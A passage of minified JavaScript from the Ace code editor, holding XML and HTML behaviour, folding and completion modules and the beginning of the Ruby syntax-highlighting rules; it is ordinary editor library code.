s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}function c(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"attribute-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:{manifest:1},head:{},title:{},base:{href:1,target:1},link:{href:1,hreflang:1,rel:{stylesheet:1,icon:1},media:{all:1,screen:1,print:1},type:{\"text/css\":1,\"image/png\":1,\"image/jpeg\":1,\"image/gif\":1},sizes:1},meta:{\"http-equiv\":{\"content-type\":1},name:{description:1,keywords:1},content:{\"text/html; charset=UTF-8\":1},charset:1},style:{type:1,media:{all:1,screen:1,print:1},scoped:1},script:{charset:1,type:{\"text/javascript\":1},src:1,defer:1,async:1},noscript:{href:1},body:{onafterprint:1,onbeforeprint:1,onbeforeunload:1,onhashchange:1,onmessage:1,onoffline:1,onpopstate:1,onredo:1,onresize:1,onstorage:1,onundo:1,onunload:1},section:{},nav:{},article:{pubdate:1},aside:{},h1:{},h2:{},h3:{},h4:{},h5:{},h6:{},header:{},footer:{},address:{},main:{},p:{},hr:{},pre:{},blockquote:{cite:1},ol:{start:1,reversed:1},ul:{},li:{value:1},dl:{},dt:{},dd:{},figure:{},figcaption:{},div:{},a:{href:1,target:{_blank:1,top:1},ping:1,rel:{nofollow:1,alternate:1,author:1,bookmark:1,help:1,license:1,next:1,noreferrer:1,prefetch:1,prev:1,search:1,tag:1},media:1,hreflang:1,type:1},em:{},strong:{},small:{},s:{},cite:{},q:{cite:1},dfn:{},abbr:{},data:{},time:{datetime:1},code:{},\"var\":{},samp:{},kbd:{},sub:{},sup:{},i:{},b:{},u:{},mark:{},ruby:{},rt:{},rp:{},bdi:{},bdo:{},span:{},br:{},wbr:{},ins:{cite:1,datetime:1},del:{cite:1,datetime:1},img:{alt:1,src:1,height:1,width:1,usemap:1,ismap:1},iframe:{name:1,src:1,height:1,width:1,sandbox:{\"allow-same-origin\":1,\"allow-top-navigation\":1,\"allow-forms\":1,\"allow-scripts\":1},seamless:{seamless:1}},embed:{src:1,height:1,width:1,type:1},object:{param:1,data:1,type:1,height:1,width:1,usemap:1,name:1,form:1,classid:1},param:{name:1,value:1},video:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},width:1,height:1,poster:1,muted:{muted:1},preload:{auto:1,metadata:1,none:1}},audio:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},muted:{muted:1},preload:{auto:1,metadata:1,none:1}},source:{src:1,type:1,media:1},track:{kind:1,src:1,srclang:1,label:1,\"default\":1},canvas:{width:1,height:1},map:{name:1},area:{shape:1,coords:1,href:1,hreflang:1,alt:1,target:1,media:1,rel:1,ping:1,type:1},svg:{},math:{},table:{summary:1},caption:{},colgroup:{span:1},col:{span:1},tbody:{},thead:{},tfoot:{},tr:{},td:{headers:1,rowspan:1,colspan:1},th:{headers:1,rowspan:1,colspan:1,scope:1},form:{\"accept-charset\":1,action:1,autocomplete:1,enctype:{\"multipart/form-data\":1,\"application/x-www-form-urlencoded\":1},method:{get:1,post:1},name:1,novalidate:1,target:{_blank:1,top:1}},fieldset:{disabled:1,form:1,name:1},legend:{},label:{form:1,\"for\":1},input:{type:{text:1,password:1,hidden:1,checkbox:1,submit:1,radio:1,file:1,button:1,reset:1,image:31,color:1,date:1,datetime:1,\"datetime-local\":1,email:1,month:1,number:1,range:1,search:1,tel:1,time:1,url:1,week:1},accept:1,alt:1,autocomplete:{on:1,off:1},autofocus:{autofocus:1},checked:{checked:1},disabled:{disabled:1},form:1,formaction:1,formenctype:{\"application/x-www-form-urlencoded\":1,\"multipart/form-data\":1,\"text/plain\":1},formmethod:{get:1,post:1},formnovalidate:{formnovalidate:1},formtarget:{_blank:1,_self:1,_parent:1,_top:1},height:1,list:1,max:1,maxlength:1,min:1,multiple:{multiple:1},pattern:1,placeholder:1,readonly:{readonly:1},required:{required:1},size:1,src:1,step:1,width:1,files:1,value:1},button:{autofocus:1,disabled:{disabled:1},form:1,formaction:1,formenctype:1,formmethod:1,formnovalidate:1,formtarget:1,name:1,value:1,type:{button:1,submit:1}},select:{autofocus:1,disabled:1,form:1,multiple:{multiple:1},name:1,size:1,readonly:{readonly:1}},datalist:{},optgroup:{disabled:1,label:1},option:{disabled:1,selected:1,label:1,value:1},textarea:{autofocus:{autofocus:1},disabled:{disabled:1},form:1,maxlength:1,name:1,placeholder:1,readonly:{readonly:1},required:{required:1},rows:1,cols:1,wrap:{on:1,off:1,hard:1,soft:1}},keygen:{autofocus:1,challenge:{challenge:1},disabled:{disabled:1},form:1,keytype:{rsa:1,dsa:1,ec:1},name:1},output:{\"for\":1,form:1,name:1},progress:{value:1,max:1},meter:{value:1,min:1,max:1,low:1,high:1,optimum:1},details:{open:1},summary:{},command:{type:1,label:1,icon:1,disabled:1,checked:1,radiogroup:1,command:1},menu:{type:1,label:1},dialog:{open:1}},a=Object.keys(u),h=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\"))return this.getTagCompletions(e,t,n,r);if(f(i,\"tag-whitespace\")||f(i,\"attribute-name\"))return this.getAttributeCompletions(e,t,n,r);if(f(i,\"attribute-value\"))return this.getAttributeValueCompletions(e,t,n,r);var s=t.getLine(n.row).substr(0,n.column);return/&[A-z]*$/i.test(s)?this.getHTMLEntityCompletions(e,t,n,r):[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompletions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(Object.keys(u[i]))),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})},this.getAttributeValueCompletions=function(e,t,n,r){var i=l(t,n),s=c(t,n);if(!i)return[];var o=[];return i in u&&s in u[i]&&typeof u[i][s]==\"object\"&&(o=Object.keys(u[i][s])),o.map(function(e){return{caption:e,snippet:e,meta:\"attribute value\",score:Number.MAX_VALUE}})},this.getHTMLEntityCompletions=function(e,t,n,r){var i=[\"&Aacute;\",\"&aacute;\",\"&Acirc;\",\"&acirc;\",\"&acute;\",\"&AElig;\",\"&aelig;\",\"&Agrave;\",\"&agrave;\",\"&alefsym;\",\"&Alpha;\",\"&alpha;\",\"&amp;\",\"&and;\",\"&ang;\",\"&Aring;\",\"&aring;\",\"&asymp;\",\"&Atilde;\",\"&atilde;\",\"&Auml;\",\"&auml;\",\"&bdquo;\",\"&Beta;\",\"&beta;\",\"&brvbar;\",\"&bull;\",\"&cap;\",\"&Ccedil;\",\"&ccedil;\",\"&cedil;\",\"&cent;\",\"&Chi;\",\"&chi;\",\"&circ;\",\"&clubs;\",\"&cong;\",\"&copy;\",\"&crarr;\",\"&cup;\",\"&curren;\",\"&Dagger;\",\"&dagger;\",\"&dArr;\",\"&darr;\",\"&deg;\",\"&Delta;\",\"&delta;\",\"&diams;\",\"&divide;\",\"&Eacute;\",\"&eacute;\",\"&Ecirc;\",\"&ecirc;\",\"&Egrave;\",\"&egrave;\",\"&empty;\",\"&emsp;\",\"&ensp;\",\"&Epsilon;\",\"&epsilon;\",\"&equiv;\",\"&Eta;\",\"&eta;\",\"&ETH;\",\"&eth;\",\"&Euml;\",\"&euml;\",\"&euro;\",\"&exist;\",\"&fnof;\",\"&forall;\",\"&frac12;\",\"&frac14;\",\"&frac34;\",\"&frasl;\",\"&Gamma;\",\"&gamma;\",\"&ge;\",\"&gt;\",\"&hArr;\",\"&harr;\",\"&hearts;\",\"&hellip;\",\"&Iacute;\",\"&iacute;\",\"&Icirc;\",\"&icirc;\",\"&iexcl;\",\"&Igrave;\",\"&igrave;\",\"&image;\",\"&infin;\",\"&int;\",\"&Iota;\",\"&iota;\",\"&iquest;\",\"&isin;\",\"&Iuml;\",\"&iuml;\",\"&Kappa;\",\"&kappa;\",\"&Lambda;\",\"&lambda;\",\"&lang;\",\"&laquo;\",\"&lArr;\",\"&larr;\",\"&lceil;\",\"&ldquo;\",\"&le;\",\"&lfloor;\",\"&lowast;\",\"&loz;\",\"&lrm;\",\"&lsaquo;\",\"&lsquo;\",\"&lt;\",\"&macr;\",\"&mdash;\",\"&micro;\",\"&middot;\",\"&minus;\",\"&Mu;\",\"&mu;\",\"&nabla;\",\"&nbsp;\",\"&ndash;\",\"&ne;\",\"&ni;\",\"&not;\",\"&notin;\",\"&nsub;\",\"&Ntilde;\",\"&ntilde;\",\"&Nu;\",\"&nu;\",\"&Oacute;\",\"&oacute;\",\"&Ocirc;\",\"&ocirc;\",\"&OElig;\",\"&oelig;\",\"&Ograve;\",\"&ograve;\",\"&oline;\",\"&Omega;\",\"&omega;\",\"&Omicron;\",\"&omicron;\",\"&oplus;\",\"&or;\",\"&ordf;\",\"&ordm;\",\"&Oslash;\",\"&oslash;\",\"&Otilde;\",\"&otilde;\",\"&otimes;\",\"&Ouml;\",\"&ouml;\",\"&para;\",\"&part;\",\"&permil;\",\"&perp;\",\"&Phi;\",\"&phi;\",\"&Pi;\",\"&pi;\",\"&piv;\",\"&plusmn;\",\"&pound;\",\"&Prime;\",\"&prime;\",\"&prod;\",\"&prop;\",\"&Psi;\",\"&psi;\",\"&quot;\",\"&radic;\",\"&rang;\",\"&raquo;\",\"&rArr;\",\"&rarr;\",\"&rceil;\",\"&rdquo;\",\"&real;\",\"&reg;\",\"&rfloor;\",\"&Rho;\",\"&rho;\",\"&rlm;\",\"&rsaquo;\",\"&rsquo;\",\"&sbquo;\",\"&Scaron;\",\"&scaron;\",\"&sdot;\",\"&sect;\",\"&shy;\",\"&Sigma;\",\"&sigma;\",\"&sigmaf;\",\"&sim;\",\"&spades;\",\"&sub;\",\"&sube;\",\"&sum;\",\"&sup;\",\"&sup1;\",\"&sup2;\",\"&sup3;\",\"&supe;\",\"&szlig;\",\"&Tau;\",\"&tau;\",\"&there4;\",\"&Theta;\",\"&theta;\",\"&thetasym;\",\"&thinsp;\",\"&THORN;\",\"&thorn;\",\"&tilde;\",\"&times;\",\"&trade;\",\"&Uacute;\",\"&uacute;\",\"&uArr;\",\"&uarr;\",\"&Ucirc;\",\"&ucirc;\",\"&Ugrave;\",\"&ugrave;\",\"&uml;\",\"&upsih;\",\"&Upsilon;\",\"&upsilon;\",\"&Uuml;\",\"&uuml;\",\"&weierp;\",\"&Xi;\",\"&xi;\",\"&Yacute;\",\"&yacute;\",\"&yen;\",\"&Yuml;\",\"&yuml;\",\"&Zeta;\",\"&zeta;\",\"&zwj;\",\"&zwnj;\"];return i.map(function(e){return{caption:e,snippet:e.substr(1),meta:\"html entity\",score:Number.MAX_VALUE}})}}).call(h.prototype),t.HtmlCompletions=h}),define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v}),define(\"ace/mode/ruby_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=t.constantOtherSymbol={token:\"constant.other.symbol.ruby\",regex:\"[:](?:[A-Za-z_]|[@$](?=[a-zA-Z0-9_]))[a-zA-Z0-9_]*[!=?]?\"},o=t.qString={token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},u=t.qqString={token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},a=t.tString={token:\"string\",regex:\"[`](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[`]\"},f=t.constantNumericHex={token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F](?:[0-9a-fA-F]|_(?=[0-9a-fA-F]))*\\\\b\"},l=t.constantNumericFloat={token:\"constant.numeric\",regex:\"[+-]?\\\\d(?:\\\\d|_(?=\\\\d))*(?:(?:\\\\.\\\\d(?:\\\\d|_(?=\\\\d))*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},c=function(){var e=\"abort|Array|assert|assert_equal|assert_not_equal|assert_same|assert_not_same|assert_nil|assert_not_nil|assert_match|assert_no_match|assert_in_delta|assert_throws|assert_raise|assert_nothing_raised|assert_instance_of|assert_kind_of|assert_respond_to|assert_operator|assert_send|assert_difference|assert_no_difference|assert_recognizes|assert_generates|assert_response|assert_redirected_to|assert_template|assert_select|assert_select_email|assert_select_rjs|assert_select_encoded|css_select|at_exit|attr|attr_writer|attr_reader|attr_accessor|attr_accessible|autoload|binding|block_given?|callcc|caller|catch|chomp|chomp!|chop|chop!|defined?|delete_via_redirect|eval|exec|exit|exit!|fail|Float|flunk|follow_redirect!|fork|form_for|form_tag|format|gets|global_variables|gsub|gsub!|get_via_redirect|host!|https?|https!|include|Integer|lambda|link_to|link_to_unless_current|link_to_function|link_to_remote|load|local_variables|loop|open|open_session|p|print|printf|proc|putc|puts|post_via_redirect|put_via_redirect|raise|rand|raw|readline|readlines|redirect?|request_via_redirect|require|scan|select|set_trace_func|sleep|split|sprintf|srand|String|stylesheet_link_tag|syscall|system|sub|sub!|test|throw|trace_var|trap|untrace_var|atan2|cos|exp|frexp|ldexp|log|log10|sin|sqrt|tan|render|javascript_include_tag|csrf_meta_tag|label_tag|text_field_tag|submit_tag|check_box_tag|content_tag|radio_button_tag|text_area_tag|password_field_tag|hidden_field_tag|fields_for|select_tag|options_for_select|options_from_collection_for_select|collection_select|time_zone_select|select_date|select_time|select_datetime|date_select|time_select|datetime_select|select_year|select_month|select_day|select_hour|select_minute|select_second|file_field_tag|file_field|respond_to|skip_before_filter|around_filter|after_filter|verify|protect_from_forgery|rescue_from|helper_method|redirect_to|before_filter|send_data|send_file|validates_presence_of|validates_uniqueness_of|validates_length_of|validates_format_of|validates_acceptance_of|validates_associated|validates_exclusion_of|validates_inclusion_of|validates_numericality_of|validates_with|validates_each|authenticate_or_request_with_http_basic|authenticate_or_request_with_http_digest|filter_parameter_logging|match|get|post|resources|redirect|scope|assert_routing|translate|localize|extract_locale_from_tld|caches_page|expire_page|caches_action|expire_action|cache|expire_fragment|expire_cache_for|observe|cache_sweeper|has_many|has_one|belongs_to|has_and_belongs_to_many\",t=\"alias|and|BEGIN|begin|break|case|class|def|defined|do|else|elsif|END|end|ensure|__FILE__|finally|for|gem|if|in|__LINE__|module|next|not|or|private|protected|public|redo|rescue|retry|return|super|then|undef|unless|until|when|while|yield\",n=\"true|TRUE|false|FALSE|nil|NIL|ARGF|ARGV|DATA|ENV|RUBY_PLATFORM|RUBY_RELEASE_DATE|RUBY_VERSION|STDERR|STDIN|STDOUT|TOPLEVEL_BINDING\",r=\"$DEBUG|$defout|$FILENAME|$LOAD_PATH|$SAFE|$stdin|$stdout|$stderr|$VERBOSE|$!|root_url|flash|session|cookies|params|request|response|logger|self\",i=this.$keywords=this.createKeywordMapper({keyword:t,\"constant.language\":n,\"variable.language\":r,\"support.function\":e,\"invalid.deprecated\":\"debugger\"},\"identifier\");this.$rules={start:[{token:\"comment\",regex:\"#.*$\"},{token:\"comment\",regex:\"^=begin(?:$|\\\\s.*$)\",next:\"comment\"},{token:\"string.regexp\",regex:\"[/](?:(?:\\\\[(?:\\\\\\\\]|[^\\\\]])+\\\\])|(?:\\\\\\\\/|[^\\\\]/]))*[/]\\\\w*\\\\s*(?=[).,;]|$)\"},[{regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren.lparen\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.start\",regex:/\"/,push:[{token:\"constant.language.escape\",regex:/\\\\(?:[nsrtvfbae'\"\\\\]|c.|C-.|M-.(?:\\\\C-.)?|[0-7]{3}|x[\\da-fA-F]{2}|u[\\da-fA-F]{4})/},{token:\"paren.start\",regex:/\\#{/,push:\"start\"},{token:\"string.end\",regex:/\"/,next:\"pop\"},{defaultToken:\"string\"}]},{token:\"string.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:/\\\\(?:[nsrtvfbae'\"\\\\]|c.|C-.|M-.(?:\\\\C-.)?|[0-7]{3}|x[\\da-fA-F]{2}|u[\\da-fA-F]{4})/},{token:\"paren.start\",regex:/\\#{/,push:\"start\"},{token:\"string.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string\"}]},{token:\"string.start\",regex:/'/,push:[{token:\"constant.language.escape\",regex:/\\\\['\\\\]/},{token:\"string.end\",regex:/'/,next:\"pop\"},{defaultToken:\"string\"}]}],{token:\"text\",regex:\"::\"},{token:\"variable.instance\",regex:\"@{1,2}[a-zA-Z_\\\\d]+\"},{token:\"support.class\",regex:\"[A-Z][a-zA-Z_\\\\d]+\"},s,f,l,{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:i,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"punctuation.separator.key-value\",regex:\"=>\"},{stateName:\"heredoc\",onMatch:function(e,t,n){var r=e[2]==\"-\"?\"indentedHeredoc\":\"heredoc\",i=e.split(this.splitRegex);return n.push(r,i[3]),[{type:\"constant\",value:i[1]},{type:\"string\",value:i[2]},{type:\"support.class\",value:i[3]},{type:\"string\",value:i[4]}]},regex:\"(<<-?)(['\\\"`]?)([\\\\w]+)(['\\\"`]?)\",rules:{heredoc:[{onMatch:function(e,t,n){return e===n[1]?(n.shift(),n.shift(),this.next=n[0]||\"start\",\"support.class\"):(this.next=\"\",\"string\")},regex:\".*$\",next:\"start\"}],indentedHeredoc:[{token:\"string\",regex:\"^ +\"},{onMatch:function(e,t,n){return e===n[1]?(n.shift(),n.shift(),this.next=n[0]||\"start\",\"support.class\"):(this.next=\"\",\"string\")},regex:\".*$\",next:\"start\"}]}},{regex:\"$\",token:\"empty\",next:function(e,t){return 